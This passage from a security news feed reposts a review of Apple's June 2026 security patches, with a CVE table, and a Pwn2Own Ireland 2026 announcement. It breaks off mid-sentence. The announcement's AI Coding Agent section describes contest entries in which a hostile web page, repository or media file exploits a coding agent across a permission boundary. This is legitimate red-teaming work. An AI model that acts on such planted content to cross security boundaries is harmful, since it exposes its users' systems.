<img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyMTAgMTY3Ij4KICA8IS0tIEhvcm5zIC0tPgogIDxwYXRoIGQ9Ik04NSA0IFE3NCA2IDcyIDE4IEw4MCAyMCBRNzkgMTIgODcgOFoiIGZpbGw9IiMxQjJBNEEiLz4KICA8cGF0aCBkPSJNMTI1IDQgUTEzNiA2IDEzOCAxOCBMMTMwIDIwIFExMzEgMTIgMTIzIDhaIiBmaWxsPSIjMUIyQTRBIi8+CiAgPCEtLSBIZWFkIC0tPgogIDxlbGxpcHNlIGN4PSIxMDUiIGN5PSIyMiIgcng9IjE4IiByeT0iMTIiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIExlZnQgdXBwZXIgYXJtIC0tPgogIDxwYXRoIGQ9Ik03MiAzMCBMNTggNDQgTDYzIDQ4IEw3OCAzNVoiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIFJpZ2h0IHVwcGVyIGFybSAtLT4KICA8cGF0aCBkPSJNMTM4IDMwIEwxNTIgNDQgTDE0NyA0OCBMMTMyIDM1WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gWWVsbG93IGJvd3RpZSBsZWZ0IC0tPgogIDxwYXRoIGQ9Ik03NiAzOCBROTAgMzIgMTA1IDM4IFE5MCA0NCA3NiAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIFllbGxvdyBib3d0aWUgcmlnaHQgLS0+CiAgPHBhdGggZD0iTTEzNCAzOCBRMTIwIDMyIDEwNSAzOCBRMTIwIDQ0IDEzNCAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIEJsdWUgY2hlc3QgLS0+CiAgPGVsbGlwc2UgY3g9IjEwNSIgY3k9IjQ2IiByeD0iMTQiIHJ5PSIxMCIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSBsZWZ0IHdpbmcgLS0+CiAgPHBhdGggZD0iTTkxIDU0IFE2MCA1OCAxOCA3NSBRMTAgNjggMTQgNjIgUTUwIDUyIDkxIDU0WiIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSByaWdodCB3aW5nIC0tPgogIDxwYXRoIGQ9Ik0xMTkgNTQgUTE1MCA1OCAxOTIgNzUgUTIwMCA2OCAxOTYgNjIgUTE2MCA1MiAxMTkgNTRaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBHb2xkIGxlZnQgd2luZ3RpcCAtLT4KICA8cGF0aCBkPSJNMTQgNjIgUTQgNjIgMTAgNTQgUTE2IDU4IDE4IDc1WiIgZmlsbD0iI0Y1QjgwMCIvPgogIDwhLS0gR29sZCByaWdodCB3aW5ndGlwIC0tPgogIDxwYXRoIGQ9Ik0xOTYgNjIgUTIwNiA2MiAyMDAgNTQgUTE5NCA1OCAxOTIgNzVaIiBmaWxsPSIjRjVCODAwIi8+CiAgPCEtLSBMb3dlciBib2R5IGxlZnQgc3RydXQgLS0+CiAgPHBhdGggZD0iTTkwIDYyIEw3NiA4NiBMODQgOTAgTDk3IDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gTG93ZXIgYm9keSByaWdodCBzdHJ1dCAtLT4KICA8cGF0aCBkPSJNMTIwIDYyIEwxMzQgODYgTDEyNiA5MCBMMTEzIDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gQmx1ZSB0ZWFyZHJvcCBhYmRvbWVuIC0tPgogIDxwYXRoIGQ9Ik0xMDUgNjggUTExOCA4MiAxMDUgMTA4IFE5MiA4MiAxMDUgNjhaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBMZWZ0IGxvd2VyIGxlZyAtLT4KICA8cGF0aCBkPSJNODAgMTAwIEw2MCAxMTIgTDYyIDExOCBMODQgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gUmlnaHQgbG93ZXIgbGVnIC0tPgogIDxwYXRoIGQ9Ik0xMzAgMTAwIEwxNTAgMTEyIEwxNDggMTE4IEwxMjYgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgo8L3N2Zz4="><span>CVEs marked with the scarab logo were reported through the <strong>TrendAI Zero Day Initiative</strong> program.</span>


  
  









  <p class="">We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Apple Security Update Review]]></title>
<description><![CDATA[We’re back with our look at the Apple macOS and iOS security updates. As this is a new feature for us, please let us know your feedback on the blog. For Jun 2026, Apple released 37 unique CVEs across iOS 26.5.2 / iPadOS 26.5.2, macOS Tahoe 26.5.2, Safari 26.5.2. Since Apple doesn’t provide CVSS s...]]></description>
<link>https://tsecurity.de/de/3694562/hacking/the-june-2026-apple-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694562/hacking/the-june-2026-apple-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:52 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">We’re back with our look at the Apple macOS and iOS security updates. As this is a new feature for us, please let us know your feedback on the blog. </p><p class="">For Jun 2026, Apple released 37 unique CVEs across iOS 26.5.2 / iPadOS 26.5.2, macOS Tahoe 26.5.2, Safari 26.5.2. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. The overwhelming majority (31 of 37) are WebKit/WebRTC bugs reachable through malicious web content. Most of those are crash/DoS bugs rather than code execution, so the real risk lives in the small set of kernel bugs and the handful of WebKit sandbox escapes. However, there are a couple that stand out.</p><p class="">-    <strong>CVE-2026-43724 (Kernel)</strong> – According to Apple, “An app may be able to cause unexpected system termination or write kernel memory.” A kernel memory write is the highest-value primitive here: it's the privilege-escalation half of a full exploit chain and leads to complete device control. The bug was credited to Hyunwoo Kim (@v4bel), who is known to be a serious kernel researcher. </p><p class="">-    <strong>CVE-2026-39868 (Kernel)</strong> – Another kernel bug, this one could “cause unexpected system termination or corrupt kernel memory.” This is kernel memory corruption, and notably credited to a roster of elite offensive researchers (STAR Labs, Positive Technologies, Baidu Security). This kind of attribution usually signals a weaponizable, possibly Pwn2Own-grade bug rather than a theoretical crash.</p><p class="">-    <strong>CVE-2026-43725 / CVE-2026-43701 (WebKit)</strong> – Apple states these bugs could allow a website to process restricted web content outside the sandbox. I'm flagging this sandbox-escape pair over the many WebKit crash bugs because a sandbox escape is the bridge that turns a web-content bug into a path toward the kernel issues above. It's the most dangerous remotely-triggered class in the release.</p><p class="">Here’s a look at all the bugs released by Apple this month:</p>





















  
  




  


  
    




<title>Apple Security Update – June 29, 2026</title>



  
    
      <span class="num">37</span><span class="lbl">Total CVEs</span>
      <span class="num">22</span><span class="lbl">Denial of Service</span>
      <span class="num">7</span><span class="lbl">Information Disclosure</span>
      <span class="num">3</span><span class="lbl">Memory Corruption</span>
      <span class="num">2</span><span class="lbl">Elevation of Privilege</span>
      <span class="num">2</span><span class="lbl">Sandbox Escape</span>
      <span class="num">1</span><span class="lbl">Spoofing</span>
    

    <table>
      <caption>Apple security release — June 29, 2026. "Yes/No" indicates whether each update is affected. CVE IDs link to NVD.</caption>
      <thead>
        <tr>
          <th>CVE ID</th>
          <th>Component</th>
          <th>Impact</th>
          <th class="center">iOS 26.5.2 / iPadOS 26.5.2</th>
          <th class="center">macOS Tahoe 26.5.2</th>
          <th class="center">Safari 26.5.2</th>
        </tr>
      </thead>
      <tbody>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43743" target="_blank" rel="noopener">CVE-2026-43743</a></td>
        <td>IOGPUFamily</td>
        <td class="impact">An app may be able to cause unexpected system termination</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-39868" target="_blank" rel="noopener">CVE-2026-39868</a></td>
        <td>Kernel</td>
        <td class="impact">An app may be able to cause unexpected system termination or corrupt kernel memory</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43722" target="_blank" rel="noopener">CVE-2026-43722</a></td>
        <td>Kernel</td>
        <td class="impact">An app may be able to leak sensitive kernel state</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43724" target="_blank" rel="noopener">CVE-2026-43724</a></td>
        <td>Kernel</td>
        <td class="impact">An app may be able to cause unexpected system termination or write kernel memory</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43703" target="_blank" rel="noopener">CVE-2026-43703</a></td>
        <td>libxslt</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43706" target="_blank" rel="noopener">CVE-2026-43706</a></td>
        <td>libxslt</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43704" target="_blank" rel="noopener">CVE-2026-43704</a></td>
        <td>Web Extensions</td>
        <td class="impact">A malicious web extension may be able to cause an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-39872" target="_blank" rel="noopener">CVE-2026-39872</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43663" target="_blank" rel="noopener">CVE-2026-43663</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43676" target="_blank" rel="noopener">CVE-2026-43676</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43699" target="_blank" rel="noopener">CVE-2026-43699</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43700" target="_blank" rel="noopener">CVE-2026-43700</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may disclose sensitive user information</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43701" target="_blank" rel="noopener">CVE-2026-43701</a></td>
        <td>WebKit</td>
        <td class="impact">A malicious website may be able to process restricted web content outside the sandbox</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43705" target="_blank" rel="noopener">CVE-2026-43705</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to memory corruption</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43707" target="_blank" rel="noopener">CVE-2026-43707</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43708" target="_blank" rel="noopener">CVE-2026-43708</a></td>
        <td>WebKit</td>
        <td class="impact">A malicious website may exfiltrate data cross-origin</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43709" target="_blank" rel="noopener">CVE-2026-43709</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43712" target="_blank" rel="noopener">CVE-2026-43712</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43713" target="_blank" rel="noopener">CVE-2026-43713</a></td>
        <td>WebKit</td>
        <td class="impact">Visiting a website may leak sensitive data</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43715" target="_blank" rel="noopener">CVE-2026-43715</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to memory corruption</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43716" target="_blank" rel="noopener">CVE-2026-43716</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43725" target="_blank" rel="noopener">CVE-2026-43725</a></td>
        <td>WebKit</td>
        <td class="impact">A malicious website may be able to process restricted web content outside the sandbox</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43726" target="_blank" rel="noopener">CVE-2026-43726</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43727" target="_blank" rel="noopener">CVE-2026-43727</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43731" target="_blank" rel="noopener">CVE-2026-43731</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to memory corruption</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43732" target="_blank" rel="noopener">CVE-2026-43732</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may disclose sensitive user information</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43734" target="_blank" rel="noopener">CVE-2026-43734</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43735" target="_blank" rel="noopener">CVE-2026-43735</a></td>
        <td>WebKit</td>
        <td class="impact">A malicious website may exfiltrate data cross-origin</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43740" target="_blank" rel="noopener">CVE-2026-43740</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may result in the disclosure of process memory</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43742" target="_blank" rel="noopener">CVE-2026-43742</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43745" target="_blank" rel="noopener">CVE-2026-43745</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43720" target="_blank" rel="noopener">CVE-2026-43720</a></td>
        <td>WebKit Canvas</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43721" target="_blank" rel="noopener">CVE-2026-43721</a></td>
        <td>WebKit Storage</td>
        <td class="impact">A malicious website may be able to silently hijack clipboard data</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28979" target="_blank" rel="noopener">CVE-2026-28979</a></td>
        <td>WebRTC</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43717" target="_blank" rel="noopener">CVE-2026-43717</a></td>
        <td>WebRTC</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43718" target="_blank" rel="noopener">CVE-2026-43718</a></td>
        <td>WebRTC</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43746" target="_blank" rel="noopener">CVE-2026-43746</a></td>
        <td>WebRTC</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      </tbody>
    </table>
  



  
  









  <p class="">We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pwn2Own Ireland 2026 – New Targets and Categories]]></title>
<description><![CDATA[If you just want to read the rules, you can find them here.  Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With...]]></description>
<link>https://tsecurity.de/de/3694559/hacking/pwn2own-ireland-2026-new-targets-and-categories/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694559/hacking/pwn2own-ireland-2026-new-targets-and-categories/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>If you just want to read the rules, you can find them </em><a href="https://www.zerodayinitiative.com/Pwn2OwnIreland2026Rules.html" target="_blank"><em>here</em></a><em>. </em></p><p class=""> </p><p class="">Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random <a href="https://youtube.com/shorts/PjpvUdhn6e0?feature=share">banshee</a>), we had an amazing event, even if we did end up in a <a href="https://youtu.be/ruxOpC-b-yM?si=Epu-ewvSe5VNQNbP&amp;t=333">jail</a> at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).</p><p class="">As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at <a href="mailto:pwn2own@trendmicro.com">pwn2own@trendmicro.com</a> (note the address). We will be happy to address your issues or concerns directly.</p><p class="">Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules <em>thoroughly</em> to ensure you meet all the requirements.</p><p class="">Now on to this year’s target categories. We’ll have seven different categories for this year’s event:</p>





















  
  



<p><a data-preserve-html-node="true" name="top"></a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#phones">-- Mobile Phones</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#smarthome">--	Smart Home Devices</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#wellness">-- Wellness</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#printers">-- Printers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#messaging">--	Messaging</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#infrastructure">-- AI Infrastructure</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#agents">-- AI Coding Agents</a>  </p>




  <p class="">Let’s take a look at each category in more detail, starting with mobile phones.</p>





















  
  



<p><a data-preserve-html-node="true" name="phones"></a> </p>




  <p class=""><strong>The Target Phones</strong></p><p class="">Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.</p><p class="">Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="smarthome"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Smart Home Devices</b></p>




  <p class="">As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="wellness"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Wellness Category</b></p>




  <p class="">This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="printers"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Rage Against the Printers </b></p>




  <p class="">Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets. </p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="messaging"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Messaging Category</b></p>




  <p class="">We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="infrastructure"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Infrastructure Category</b></p>




  <p class="">We introduced these targets at Pwn2Own Berlin, and we saw such…uh…enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="agents"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Coding Agent Category</b></p>




  <p class="">Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class=""><strong>Master of Pwn</strong></p><p class="">No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick <a href="https://pbs.twimg.com/media/Eyexso3WUAYbXPK?format=jpg&amp;name=4096x4096">trophy</a>, a different sort of <a href="https://twitter.com/thezdi/status/1240400682034909187">wearable</a>, and brings with it an additional 65,000 ZDI reward points (instant <a href="https://www.zerodayinitiative.com/about/benefits/">Platinum</a> status in 2027).</p><p class="">For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for 